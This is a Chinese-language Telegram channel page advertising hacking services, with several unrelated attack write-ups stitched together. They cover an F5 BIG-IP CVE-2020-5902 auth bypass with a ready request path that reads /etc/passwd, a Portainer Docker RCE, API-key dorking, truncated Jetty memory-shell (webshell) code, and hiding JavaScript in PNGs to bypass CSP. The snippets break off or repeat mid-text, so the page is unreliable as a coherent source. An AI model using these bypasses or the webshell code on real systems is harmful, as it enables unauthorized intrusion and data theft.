红客解密程序 暗网编程
27.5K subscribers
967 photos
12 videos
1 file
56 links
渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持
Download Telegram
环境:

hsqldb source代码是1.8的,现在新版已经2.5.x了,为了和f5中的hsqldb吻合,还是用1.8的代码吧
JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以这里尽量和它吻合避免各种问题
CVE-2020-5902: F5 BIG-IP 远程代码执行漏洞分析

0x00 漏洞简述
2020年07月08日, 360CERT监测发现 F5 官方更新了 F5 BIG-IP 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-5902,漏洞等级:严重。

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等,使用官方的httpd配置缓解修复方案仍可造成反序列化代码执行漏洞。该漏洞影响控制面板受影响,不影响数据面板。

对此,360CERT建议广大用户及时将 BIG-IP 按照修复建议升级到指定版本。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

0x01 漏洞详情
首先,这里F5选择了Apache和tomcat服务器使用ajp_proxy模块进行通信,apache处理完请求之后,通过ajp协议转发给Tomcat,默认是8009端口,来看一下关于漏洞的配置文件,

proxy_ajp.conf

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
...
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
apache的httpd.conf

#
# HSQLDB
#
<Location /hsqldb>
<RequireAll>
AuthType Basic
AuthName "BIG\-IP"
AuthPAM_Enabled on
AuthPAM_IdleTimeout 1200
require valid-user

Require all granted

</RequireAll>
</Location>

<Location /tmui>
# Enable content compression by type, disable for browsers with known issues
<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/html text/plain application/x-javascript text/css
BrowserMatch ^Mozilla/4 gzip-only-text/html
BrowserMatch ^Mozilla/4\.0[678] no-gzip
BrowserMatch \bMSIE !no-gzip !gzip-only-text/html
</IfModule>

<RequireAll>
AuthType Basic
AuthName "Restricted area"
AuthPAM_Enabled on
AuthPAM_ExpiredPasswordsSupport on
AuthPam_ValidateIP On
AuthPAM_IdleTimeout 1200
AuthPAM_DashboardTimeout Off
require valid-user

Require all granted

</RequireAll>
</Location>
F5 PAM 认证模块
F5实现了自己的pam进行认证,模块路径为/usr/lib/httpd/modules/,其中,涉及到login.jsp授权的是mod_f5_auth_cookie.so文件。

反汇编之后,大概是这样的。我们能够请求/tmui/login.jsp而不需要进行身份验证。

总结
在apache的处理中,;是被当作普通字符的,不会解析。

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
此时,由于请求的是/tmui/login.jsp,根据pam认证模块里,/tmui/login.jsp不需要认证,接着,该请求会被转发到 tomcat上,最终tomcat请求:

/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
在web.xml 是有该配置的

<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
请求/hsqldb;,apache本身会对/hsqldb进行认证,根据httpd.conf的配置,是匹配不到/hsqldb;的

<Location /hsqldb>
<RequireAll>
AuthType Basic
AuthName "BIG\-IP"
AuthPAM_Enabled on
AuthPAM_IdleTimeout 1200
require valid-user

Require all granted

</RequireAll>
</Location>
但正是因为tomcat对于;处理上的差异,导致了身份的绕过,%0a也是一个道理
请求拆分有多危险?Golang 中的一个漏洞,或者我们如何在 Portainer 中发现 RCE 并入侵 Uber

Docker 容器是通过 Docker API 进行管理的,但允许访问 Docker API 并不安全,因此通过 Websocket 接口使用了 TCP 代理方案。由于请求包含唯一的容器标识符 — id ,因此无需身份验证即可完成代理。它充当特定容器的 API 密钥。

这个查询发送给 Docker api,POST /exec/uuid/start。然后建立一个 Websocket 连接,通过TCP
代理到容器,用户可以在网站上运行命令
特定 API 提供商的工作流程
还可以创建 Dork 来定位特定的 API 提供商及其端点。这对于为用户的 API 密钥创建自动检查的公司尤其有用。了解 API 密钥的上下文和语法后,搜索空间可以大大减少。

了解特定的 API 提供商后,我们可以获取与 API 提供商的正则表达式匹配且位于 API 调用上下文中的所有键,然后我们可以使用内部数据库或 API 端点检查它们的有效性。

例如,假设一家公司(HalCorp)为用户提供了一个 API,用于读取和写入其帐户。通过创建我们自己的 HalCorp 帐户,我们发现 API 密钥的形式为[a-f]{4}-[a-f]{4}-[a-f]{4}
但是这个类并不能用于调试,因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息,所以不能调试。不过通过在Expression那个窗口重写部分代码,生成可用于调式的bytecode应该也是可行的(我没有测试,如果有时间和兴趣,可以看下ASM怎么生成可用于调试的字节码)
Java利用技巧——Jetty Servlet型内存马

前言 在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节 0x01 简介 本文将要介绍以下内容: 实现思路 实现代码 Zimbra环境下的Servlet型内存马 0x02 实现思路 同样是使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马 0x03 实现代码 1.添加Servlet Jetty下可用的完整代码如下: <%@ page import="java.lang.reflect.Field"%> <%@ page import="java.lang.reflect.Method"%> <%@ page import="java.util.Scanner"%> <%@ page import="java.io.*"%> <% String servletName = "myServlet"; String urlPattern = "/servlet"; Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig)...
版本修复
再1.5.2版本中对其进行了修复,获取requestURI的方式从request.getRequestUri直接获取的方式更改为获取request的ContextPath,ServletPath,PathInfo,然后再重新拼接而成。
如何通过在 PNG 图片中隐藏 JavaScript 来绕过 CSP
将恶意的JavaScript库隐藏在PNG图像中并发布推文,然后通过利用绕过其内容安全策略(CSP)的XSS将其包含在易受攻击的网站中。

将恶意JavaScript库隐藏到PNG图像中并发布推文,然后利用XSS攻击绕过其内容安全策略(CSP)将其包含在易受的网站中。这不是科幻小说……而是HTML Canvas。

TL;DR -使用 HTML Canvas,您可以将任何 JavaScript 代码(或整个库)到 PNG 图像中,方法可以将每个源字符代码转换为一个像素。然后可以将图像上传到受信任的网站(如 Twitter 或 Google)(通常由 CSP 列入白名单),然后作为 HTML 文档中的图像的远程加载。最后,通过使用 canvasgetImageData方法,可以从图像内容中提取隐藏“的 JavaScript”并执行它。有时这可能会导致安全策略,使攻击者能够包含整个外部外部JavaScript 库
TL;DR -使用 HTML Canvas,您可以将任何 JavaScript 代码(或整个库)到 PNG 图像中,方法可以将每个源字符代码转换为一个像素。然后可以将图像上传到受信任的网站(如 Twitter 或 Google)(通常由 CSP 列入白名单),然后作为 HTML 文档中的图像的远程加载。最后,通过使用 canvasgetImageData方法,可以从图像内容中提取隐藏“的 JavaScript”并执行它。有时这可能会导致安全策略,使攻击者能够包含整个外部外部JavaScript 库

由于Content-Security-Policy响应标头能够有效阻止XSS、点击劫持和其他代码注入攻击,因此使用越来越广泛。然而,许多网站配置了众多的政策,小区错误报告,将整个域而不是特定资源列入白名单,或者使用 unsafe-inline 或 unsafe-eval 指令,这可能会导致绕过政策